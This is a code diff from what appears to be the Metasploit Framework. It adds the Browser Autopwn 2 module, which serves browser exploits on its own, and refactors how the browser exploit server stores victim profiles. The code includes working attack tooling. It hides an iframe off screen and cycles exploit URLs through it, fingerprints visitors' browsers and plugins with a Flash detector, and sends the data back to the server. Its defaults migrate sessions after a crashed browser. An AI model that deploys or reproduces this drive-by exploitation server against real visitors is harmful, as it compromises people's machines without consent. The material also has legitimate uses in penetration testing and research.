total += framework.jobs[id.to_s].ctx.first.session_count
|
||||
end
|
||||
end
|
||||
|
||||
total
|
||||
end
|
||||
|
||||
|
||||
# Returns the custom 404 URL set by the user
|
||||
#
|
||||
# @return [String]
|
||||
def get_custom_404_url
|
||||
datastore['Custom404'].to_s
|
||||
end
|
||||
|
||||
|
||||
# Returns the HTML that serves our exploits.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [String] HTML
|
||||
def build_html(cli, request)
|
||||
exploit_list = get_exploit_urls(cli, request)
|
||||
|
||||
if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
|
||||
print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
|
||||
if datastore['HTMLContent'].blank?
|
||||
send_not_found(cli)
|
||||
return ''
|
||||
else
|
||||
return datastore['HTMLContent']
|
||||
end
|
||||
elsif exploit_list.empty?
|
||||
print_status("No suitable exploits to send.")
|
||||
if datastore['HTMLContent'].blank?
|
||||
send_not_found(cli)
|
||||
return ''
|
||||
else
|
||||
return datastore['HTMLContent']
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Some Flash exploits don't seem to work well with a hidden iframe.
|
||||
js = %Q|
|
||||
var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];
|
||||
|
||||
function setElementStyle(e, opts) {
|
||||
if (typeof e.style.setAttribute == 'undefined') {
|
||||
var attributeString = '';
|
||||
for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
|
||||
e.setAttribute("style", attributeString);
|
||||
} else {
|
||||
for (var key in opts) {
|
||||
e.style.setAttribute(key, opts[key]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function moveIframe(e) {
|
||||
var opts = {
|
||||
'position': 'absolute',
|
||||
'left': screen.width * -screen.width
|
||||
}
|
||||
setElementStyle(e, opts);
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
var e = document.createElement("iframe");
|
||||
e.setAttribute("id", "myiframe");
|
||||
moveIframe(e);
|
||||
document.body.appendChild(e);
|
||||
loadExploit();
|
||||
}
|
||||
|
||||
function loadExploit() {
|
||||
var e = document.getElementById("myiframe");
|
||||
var firstUri = exploitList.splice(0, 1);
|
||||
if (firstUri != '') {
|
||||
e.setAttribute("src", firstUri);
|
||||
setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
|
||||
}
|
||||
}
|
||||
|
|
||||
|
||||
%Q|<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
#{datastore['HTMLContent']}|
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -217,9 +217,10 @@ module Exploit::Remote::HttpServer
|
|||
print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!")
|
||||
end
|
||||
|
||||
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
if opts['ServerHost'] == '0.0.0.0'
|
||||
print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
|
|
|
@ -104,3 +104,4 @@ require 'msf/core/exploit/android'
|
|||
|
||||
# Browser Exploit Server
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
require 'msf/core/exploit/browser_autopwn2'
|
||||
|
|
|
@ -6,11 +6,13 @@ require 'date'
|
|||
require 'set'
|
||||
require 'rex/exploitation/js'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
require 'msf/core/exploit/remote/browser_profile_manager'
|
||||
|
||||
###
|
||||
#
|
||||
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
|
||||
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
|
||||
# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules.
|
||||
# Wiki documentations about this mixin can be found here:
|
||||
# https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer
|
||||
# https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements
|
||||
|
@ -25,6 +27,7 @@ module Msf
|
|||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::JSObfu
|
||||
include Msf::Exploit::Remote::BrowserProfileManager
|
||||
|
||||
# this must be static between runs, otherwise the older cookies will be ignored
|
||||
DEFAULT_COOKIE_NAME = '__ua'
|
||||
|
@ -49,22 +52,22 @@ module Msf
|
|||
|
||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||
REQUIREMENT_KEY_SET = Set.new([
|
||||
:source, # Return either 'script' or 'headers'
|
||||
:ua_name, # Example: Returns 'MSIE'
|
||||
:ua_ver, # Example: Returns '8.0', '9.0'
|
||||
:os_name, # Example: Returns 'Windows 7', 'Linux'
|
||||
:os_device, # Example: Returns 'iPad', 'iPhone', etc
|
||||
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||
:os_sp, # Example: Returns 'SP2'
|
||||
:language, # Example: Returns 'en-us'
|
||||
:arch, # Example: Returns 'x86'
|
||||
:proxy, # Returns 'true' or 'false'
|
||||
:silverlight, # Returns 'true' or 'false'
|
||||
:office, # Example: Returns "2007", "2010"
|
||||
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||
:mshtml_build, # mshtml build. Example: Returns "65535"
|
||||
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||
'source', # Return either 'script' or 'headers'
|
||||
'ua_name', # Example: Returns 'MSIE'
|
||||
'ua_ver', # Example: Returns '8.0', '9.0'
|
||||
'os_name', # Example: Returns 'Windows 7', 'Linux'
|
||||
'os_device', # Example: Returns 'iPad', 'iPhone', etc
|
||||
'os_vendor', # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||
'os_sp', # Example: Returns 'SP2'
|
||||
'language', # Example: Returns 'en-us'
|
||||
'arch', # Example: Returns 'x86'
|
||||
'proxy', # Returns 'true' or 'false'
|
||||
'silverlight', # Returns 'true' or 'false'
|
||||
'office', # Example: Returns "2007", "2010"
|
||||
'java', # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||
'mshtml_build', # mshtml build. Example: Returns "65535"
|
||||
'flash', # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||
# :activex is a special case.
|
||||
# When you set this requirement in your module, this is how it should be:
|
||||
# [{:clsid=>'String', :method=>'String'}]
|
||||
|
@ -72,24 +75,22 @@ module Msf
|
|||
# But when BES receives this information, the JavaScript will return this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# Also see: #has_bad_activex?
|
||||
:activex
|
||||
'activex'
|
||||
])
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
# The mixin keeps 'target' so module doesn't lose it.
|
||||
@target = target
|
||||
|
||||
# See get_profile's documentation to understand what @target_profiles stores
|
||||
@target_profiles = {}
|
||||
# The mixin keeps 'target' handy so module doesn't lose it.
|
||||
@target = self.respond_to?(:target) ? target : nil
|
||||
|
||||
# Requirements are conditions that the browser must have in order to be exploited.
|
||||
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
|
||||
|
||||
@info_receiver_page = rand_text_alpha(5)
|
||||
@exploit_receiver_page = rand_text_alpha(6)
|
||||
@noscript_receiver_page = rand_text_alpha(7)
|
||||
@info_receiver_page = Rex::Text.rand_text_alpha(5)
|
||||
@exploit_receiver_page = Rex::Text.rand_text_alpha(6)
|
||||
@noscript_receiver_page = Rex::Text.rand_text_alpha(7)
|
||||
@flash_swf = "#{Rex::Text.rand_text_alpha(9)}.swf"
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -108,10 +109,34 @@ module Msf
|
|||
if !custom_404.blank? && custom_404 !~ /^http/i
|
||||
raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)'])
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
# Returns a prefix that's unique to this browser exploit module.
|
||||
# This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager.
|
||||
# There are two way for BES to get this prefix, either:
|
||||
# * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with
|
||||
# its child exploits, so that these exploits don't have to gather browser information again.
|
||||
# * If the datastore option isn't set, then we assume the user is firing the exploit as a
|
||||
# standalone so we make somthing more unique, so that if there are two instances using the
|
||||
# same exploit, they don't actually share info.
|
||||
def browser_profile_prefix
|
||||
self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda {
|
||||
"#{self.shortname}.#{Time.now.to_i}.#{self.uuid}"
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
# Cleans up target information owned by the current module.
|
||||
def cleanup
|
||||
super
|
||||
# Whoever registered BrowserProfilePrefix should do the cleanup
|
||||
clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
|
||||
end
|
||||
|
||||
|
||||
# Returns the custom 404 URL set by the user
|
||||
#
|
||||
# @return [String]
|
||||
|
@ -120,14 +145,6 @@ module Msf
|
|||
end
|
||||
|
||||
|
||||
# Allows a block of code to access BES resources in a thread-safe fashion
|
||||
#
|
||||
# @param block [Proc] Block of code to sync
|
||||
def sync(&block)
|
||||
(@mutex ||= Mutex.new).synchronize(&block)
|
||||
end
|
||||
|
||||
|
||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||
#
|
||||
# @return [String] URI to the exploit page
|
||||
|
@ -155,7 +172,7 @@ module Msf
|
|||
# @param reqs [Hash] A hash that contains data for the requirements
|
||||
# @return [Hash] A hash of requirements
|
||||
def extract_requirements(reqs)
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)}
|
||||
# Make sure keys are always symbols
|
||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||
end
|
||||
|
@ -167,16 +184,16 @@ module Msf
|
|||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
def try_set_target(profile)
|
||||
return unless self.respond_to?(:targets)
|
||||
match_counts = []
|
||||
target_requirements = {}
|
||||
|
||||
targets.each do |t|
|
||||
target_requirements = extract_requirements(t.opts)
|
||||
if target_requirements.blank?
|
||||
match_counts << 0
|
||||
else
|
||||
match_counts << target_requirements.select { |k,v|
|
||||
if v.class == Regexp
|
||||
if v.is_a? Regexp
|
||||
profile[k] =~ v
|
||||
else
|
||||
profile[k] == v
|
||||
|
@ -200,7 +217,7 @@ module Msf
|
|||
# "{CLSID}=>Method=>Boolean;"
|
||||
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||
def has_bad_activex?(ax)
|
||||
ax.split(';').each do |a|
|
||||
ax.to_s.split(';').each do |a|
|
||||
bool = a.split('=>')[2]
|
||||
if bool == 'false'
|
||||
return true
|
||||
|
@ -216,82 +233,28 @@ module Msf
|
|||
# @return [Array] An array of requirements not met
|
||||
def get_bad_requirements(profile)
|
||||
bad_reqs = []
|
||||
|
||||
@requirements.each do |k, v|
|
||||
@requirements.each do |rk, v|
|
||||
k = rk.to_sym
|
||||
expected = k != :vuln_test ? v : 'true'
|
||||
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||
|
||||
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}")
|
||||
|
||||
if k == :activex
|
||||
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||
bad_reqs << k if has_bad_activex?(profile[k])
|
||||
elsif k == :vuln_test
|
||||
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
||||
bad_reqs << k unless profile[k].to_s == 'true'
|
||||
elsif v.is_a? Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
bad_reqs << k if profile[k] !~ v
|
||||
elsif v.is_a? Proc
|
||||
bad_reqs << k unless v.call(profile[k.to_sym])
|
||||
bad_reqs << k unless v.call(profile[k])
|
||||
else
|
||||
bad_reqs << k if profile[k.to_sym] != v
|
||||
bad_reqs << k if profile[k] != v
|
||||
end
|
||||
end
|
||||
|
||||
bad_reqs
|
||||
end
|
||||
|
||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||
# 'cookie_name' =>
|
||||
# {
|
||||
# :os_name => 'Windows 7'
|
||||
# ...... etc ......
|
||||
# }
|
||||
# A profile should at least have info about the following:
|
||||
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
|
||||
# should be more accurate in some scenarios like browser compatibility mode
|
||||
# :ua_name : The name of the browser
|
||||
# :ua_ver : The version of the browser (not yet implemented)
|
||||
# :os_name : The name of the OS ("Windows XP")
|
||||
# :language : The system's language
|
||||
# :arch : The system's arch
|
||||
# :proxy : Indicates whether proxy is used
|
||||
#
|
||||
# For more info about what the actual value might be for each key, see HttpServer.
|
||||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
# 'mshtml_build' : The MSHTML build version
|
||||
# 'flash' : The Flash version
|
||||
# 'silverlight' : The Silverlight version
|
||||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
def get_profile(tag)
|
||||
sync do
|
||||
return @target_profiles[tag]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Updates information for a specific profile
|
||||
#
|
||||
# @param target_profile [Hash] The profile to update
|
||||
# @param key [Symbol] The symbol to use for the hash
|
||||
# @param value [String] The value to assign
|
||||
def update_profile(target_profile, key, value)
|
||||
sync do
|
||||
target_profile[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Initializes a profile, if it did not previously exist
|
||||
#
|
||||
# @param tag [String] A unique string as a way to ID the profile
|
||||
def init_profile(tag)
|
||||
sync do
|
||||
@target_profiles[tag] ||= {}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Retrieves a tag.
|
||||
|
@ -325,17 +288,25 @@ module Msf
|
|||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
def process_browser_info(source, cli, request)
|
||||
tag = retrieve_tag(cli, request)
|
||||
init_profile(tag)
|
||||
target_info = get_profile(tag)
|
||||
update_profile(target_info, :source, source.to_s)
|
||||
|
||||
browser_profile[tag] ||= {}
|
||||
profile = browser_profile[tag]
|
||||
profile[:source] = source.to_s
|
||||
|
||||
found_ua_name = ''
|
||||
found_ua_ver = ''
|
||||
|
||||
# Gathering target info from the detection stage
|
||||
case source
|
||||
when :script
|
||||
# Gathers target data from a POST request
|
||||
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
|
||||
vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
|
||||
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
|
||||
vprint_status("Received sniffed browser data over POST:")
|
||||
vprint_line("#{parsed_body}.")
|
||||
parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) }
|
||||
found_ua_name = parsed_body['ua_name']
|
||||
found_ua_ver = parsed_body['ua_ver']
|
||||
|
||||
when :headers
|
||||
# Gathers target data from headers
|
||||
# This may be less accurate, and most likely less info.
|
||||
|
@ -344,19 +315,26 @@ module Msf
|
|||
# Kill this to save space.
|
||||
fp.delete(:ua_string)
|
||||
fp.each do |k, v|
|
||||
update_profile(target_info, k.to_sym, v)
|
||||
profile[k.to_sym] = v
|
||||
end
|
||||
found_ua_name = fp[:ua_name]
|
||||
found_ua_ver = fp[:ua_ver]
|
||||
end
|
||||
|
||||
# Other detections
|
||||
update_profile(target_info, :proxy, has_proxy?(request))
|
||||
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
|
||||
profile[:proxy] = has_proxy?(request)
|
||||
profile[:language] = request.headers['Accept-Language'] || ''
|
||||
|
||||
# Basic tracking
|
||||
profile[:address] = cli.peerhost
|
||||
profile[:module] = self.fullname
|
||||
profile[:created_at] = Time.now
|
||||
|
||||
report_client({
|
||||
:host => cli.peerhost,
|
||||
:ua_string => request.headers['User-Agent'],
|
||||
:ua_name => target_info[:ua_name],
|
||||
:ua_ver => target_info[:ua_ver]
|
||||
:ua_string => request.headers['User-Agent'].to_s,
|
||||
:ua_name => found_ua_name.to_s,
|
||||
:ua_ver => found_ua_ver.to_s
|
||||
})
|
||||
end
|
||||
|
||||
|
@ -395,6 +373,57 @@ module Msf
|
|||
return Base64.encode(q.join('&'));
|
||||
}
|
||||
|
||||
function isEmpty(str) {
|
||||
return (!str \|\| 0 === str.length);
|
||||
}
|
||||
|
||||
function sendInfo(info) {
|
||||
var query = objToQuery(info);
|
||||
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
|
||||
window.location="<%= get_module_resource %>";
|
||||
});
|
||||
}
|
||||
|
||||
var flashVersion = "";
|
||||
var doInterval = true;
|
||||
var maxTimeout = null;
|
||||
var intervalTimeout = null;
|
||||
|
||||
function setFlashVersion(ver) {
|
||||
flashVersion = ver
|
||||
if (maxTimeout != null) {
|
||||
clearTimeout(maxTimeout);
|
||||
maxTimeout = null
|
||||
}
|
||||
doInterval = false
|
||||
return;
|
||||
}
|
||||
|
||||
function createFlashObject(src, attributes, parameters) {
|
||||
var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {};
|
||||
attr.type = 'application/x-shockwave-flash';
|
||||
if (window.ActiveXObject) {
|
||||
attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
|
||||
param.movie = src;
|
||||
} else {
|
||||
attr.data = src;
|
||||
}
|
||||
|
||||
html = '<object';
|
||||
for (i in attr) {
|
||||
html += ' ' + i + '="' + attr[i] + '"';
|
||||
}
|
||||
html += '>';
|
||||
for (i in param) {
|
||||
html += '<param name="' + i + '" value="' + param[i] + '" />';
|
||||
}
|
||||
html += '</object>';
|
||||
div = document.createElement('div');
|
||||
div.innerHTML = html;
|
||||
obj = div.firstChild;
|
||||
div.removeChild(obj);
|
||||
return obj;
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
var osInfo = os_detect.getVersion();
|
||||
|
@ -432,10 +461,36 @@ module Msf
|
|||
<% end %>
|
||||
<% end %>
|
||||
|
||||
var query = objToQuery(d);
|
||||
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
|
||||
window.location="<%= get_module_resource %>";
|
||||
});
|
||||
if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) {
|
||||
var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});
|
||||
|
||||
// After 5s stop waiting and use the version retrieved with JS if there isn't anything
|
||||
maxTimeout = setTimeout(function() {
|
||||
if (intervalTimeout != null) {
|
||||
doInterval = false
|
||||
clearInterval(intervalTimeout)
|
||||
}
|
||||
if (!isEmpty(flashVersion)) {
|
||||
d["flash"] = flashVersion
|
||||
}
|
||||
sendInfo(d);
|
||||
}, 5000);
|
||||
|
||||
// Check if there is a new flash version every 100ms
|
||||
intervalTimeout = setInterval(function() {
|
||||
if (!doInterval) {
|
||||
clearInterval(intervalTimeout);
|
||||
if (!isEmpty(flashVersion)) {
|
||||
d["flash"] = flashVersion
|
||||
}
|
||||
sendInfo(d);
|
||||
}
|
||||
}, 100);
|
||||
|
||||
document.body.appendChild(flashObject)
|
||||
} else {
|
||||
sendInfo(d)
|
||||
}
|
||||
}
|
||||
|).result(binding())
|
||||
|
||||
|
@ -453,11 +508,12 @@ module Msf
|
|||
|
|
||||
end
|
||||
|
||||
# @return [String] name of the tracking cookie
|
||||
# @return [String] Name of the tracking cookie
|
||||
def cookie_name
|
||||
datastore['CookieName'] || DEFAULT_COOKIE_NAME
|
||||
end
|
||||
|
||||
# @return [String] HTTP header string for the tracking cookie
|
||||
def cookie_header(tag)
|
||||
cookie = "#{cookie_name}=#{tag};"
|
||||
if datastore['CookieExpiration'].present?
|
||||
|
@ -468,6 +524,13 @@ module Msf
|
|||
cookie
|
||||
end
|
||||
|
||||
def load_swf_detection
|
||||
path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
|
||||
# Handles exploit stages.
|
||||
#
|
||||
|
@ -479,7 +542,7 @@ module Msf
|
|||
#
|
||||
# This is the information gathering stage
|
||||
#
|
||||
if get_profile(retrieve_tag(cli, request))
|
||||
if browser_profile[retrieve_tag(cli, request)]
|
||||
send_redirect(cli, get_module_resource)
|
||||
return
|
||||
end
|
||||
|
@ -487,11 +550,15 @@ module Msf
|
|||
print_status("Gathering target information.")
|
||||
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
|
||||
ua = request.headers['User-Agent'] || ''
|
||||
init_profile(tag)
|
||||
print_status("Sending HTML response.")
|
||||
html = get_detection_html(ua)
|
||||
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})
|
||||
|
||||
when /#{@flash_swf}/
|
||||
vprint_status("Sending SWF used for Flash detection")
|
||||
swf = load_swf_detection
|
||||
send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
|
||||
when /#{@info_receiver_page}/
|
||||
#
|
||||
# The detection code will hit this if Javascript is enabled
|
||||
|
@ -515,7 +582,7 @@ module Msf
|
|||
#
|
||||
tag = retrieve_tag(cli, request)
|
||||
vprint_status("Serving exploit to user with tag #{tag}")
|
||||
profile = get_profile(tag)
|
||||
profile = browser_profile[tag]
|
||||
if profile.nil?
|
||||
print_status("Browsing directly to the exploit URL is forbidden.")
|
||||
send_not_found(cli)
|
||||
|
@ -523,13 +590,14 @@ module Msf
|
|||
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
|
||||
send_not_found(cli)
|
||||
else
|
||||
update_profile(profile, :tried, true)
|
||||
profile[:tried] = true
|
||||
vprint_status("Setting target \"#{tag}\" to :tried.")
|
||||
try_set_target(profile)
|
||||
bad_reqs = get_bad_requirements(profile)
|
||||
if bad_reqs.empty?
|
||||
browser_info = profile.dup
|
||||
begin
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
method(:on_request_exploit).call(cli, request, browser_info)
|
||||
rescue BESException => e
|
||||
elog("BESException: #{e.message}\n#{e.backtrace * "\n"}")
|
||||
send_not_found(cli)
|
||||
|
@ -597,9 +665,10 @@ module Msf
|
|||
platform = platform.gsub(/^Windows.*$/, 'Windows')
|
||||
|
||||
p = regenerate_payload(cli, platform, arch)
|
||||
target_arch = get_target.arch || arch
|
||||
|
||||
unless p.arch.include?(arch)
|
||||
err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. "
|
||||
unless p.arch.all? { |e| target_arch.include?(e) }
|
||||
err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). "
|
||||
err << "Please check your payload setting."
|
||||
raise BESException, err
|
||||
end
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
module Msf
|
||||
module Exploit::Remote::BrowserProfileManager
|
||||
|
||||
# @overload browser_profile_prefix
|
||||
# Sets the profile prefix to retrieve or load target information.
|
||||
def browser_profile_prefix
|
||||
raise NoMethodError, "A mixin that's using BrowserProfileManager should define browser_profile_prefix"
|
||||
end
|
||||
|
||||
# Storage backend for browser profiles
|
||||
#
|
||||
# @return [Hash]
|
||||
def browser_profile
|
||||
framework.browser_profiles[browser_profile_prefix] ||= {}
|
||||
framework.browser_profiles[browser_profile_prefix]
|
||||
end
|
||||
|
||||
# Storage backend for browser profiles
|
||||
#
|
||||
def clear_browser_profiles
|
||||
framework.browser_profiles.delete(browser_profile_prefix)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -87,6 +87,7 @@ class Framework
|
|||
self.jobs = Rex::JobContainer.new
|
||||
self.plugins = PluginManager.new(self)
|
||||
self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json"))
|
||||
self.browser_profiles = Hash.new
|
||||
|
||||
# Configure the thread factory
|
||||
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
|
||||
|
@ -189,6 +190,12 @@ class Framework
|
|||
# into generated payloads.
|
||||
#
|
||||
attr_reader :uuid_db
|
||||
#
|
||||
# The framework instance's browser profile store. These profiles are
|
||||
# generated by client-side modules and need to be shared across
|
||||
# different contexts.
|
||||
#
|
||||
attr_reader :browser_profiles
|
||||
|
||||
# The framework instance's db manager. The db manager
|
||||
# maintains the database db and handles db events
|
||||
|
@ -246,6 +253,7 @@ protected
|
|||
attr_writer :plugins # :nodoc:
|
||||
attr_writer :db # :nodoc:
|
||||
attr_writer :uuid_db # :nodoc:
|
||||
attr_writer :browser_profiles # :nodoc:
|
||||
end
|
||||
|
||||
class FrameworkEventSubscriber
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn2
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HTTP Client Automatic Exploiter 2 (Browser Autopwn)",
|
||||
'Description' => %q{
|
||||
This module will automatically serve browser exploits. Here are the options you can
|
||||
configure:
|
||||
|
||||
The Include option allows you to specify the kind of exploits to be loaded. For example,
|
||||
if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'.
|
||||
|
||||
The Exclude option will ignore exploits. For example, if you don't want any Adobe Flash
|
||||
exploits, you can set this. Also note that the Exclude option will always be evaludated
|
||||
after the Include option.
|
||||
|
||||
The MaxExploits option specifies the max number of exploits to load by Browser Autopwn.
|
||||
By default, 20 will be loaded. But note that the client will probably not be vulnerable
|
||||
to all 20 of them, so only some will actually be served to the client.
|
||||
|
||||
The Content option allows you to provide a basic webpage. This is what the user behind
|
||||
the vulnerable browser will see. You can simply set a string, or you can do the file://
|
||||
syntax to load an HTML file. Note this option might break exploits so try to keep it
|
||||
as simple as possible.
|
||||
|
||||
The WhiteList option can be used to avoid visitors that are outside the scope of your
|
||||
pentest engagement. IPs that are not on the list will not be attacked.
|
||||
|
||||
The MaxSessions option is used to limit how many sessions Browser Autopwn is allowed to
|
||||
get. The default -1 means unlimited. Combining this with other options such as RealList
|
||||
and Custom404, you can get information about which visitors (IPs) clicked on your malicious
|
||||
link, what exploits they might be vulnerable to, redirect them to your own internal
|
||||
training website without actually attacking them.
|
||||
|
||||
The RealList is an option that will list what exploits the client might be vulnerable to
|
||||
based on basic browser information. If possible, you can run the exploits for validation.
|
||||
|
||||
For more information about Browser Autopwn, please see the reference link.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'DisclosureDate' => "Jul 5 2015",
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer', {
|
||||
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
|
||||
} ],
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[ 'WebServer' ],
|
||||
'DefaultOptions' => {
|
||||
# We know that most of these exploits will crash the browser, so
|
||||
# set the default to run migrate right away if possible.
|
||||
"InitialAutoRunScript" => "migrate -f",
|
||||
},
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
|
||||
register_advanced_options(get_advanced_options, self.class)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptRegexp.new('INCLUDE_PATTERN', [false, 'Pattern search to include specific modules']),
|
||||
OptRegexp.new('EXCLUDE_PATTERN', [false, 'Pattern search to exclude specific modules'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]),
|
||||
OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 21]),
|
||||
OptString.new('HTMLContent', [false, 'HTML Content', '']),
|
||||
OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]),
|
||||
OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]),
|
||||
OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false])
|
||||
] ,self.class)
|
||||
end
|
||||
|
||||
def get_advanced_options
|
||||
opts = []
|
||||
DEFAULT_PAYLOADS.each_pair do |platform, payload_info|
|
||||
opts << OptString.new("PAYLOAD_#{platform.to_s.upcase}", [true, "Payload for #{platform} browser exploits", payload_info[:payload] ])
|
||||
opts << OptInt.new("PAYLOAD_#{platform.to_s.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info[:lport]])
|
||||
end
|
||||
|
||||
opts
|
||||
end
|
||||
|
||||
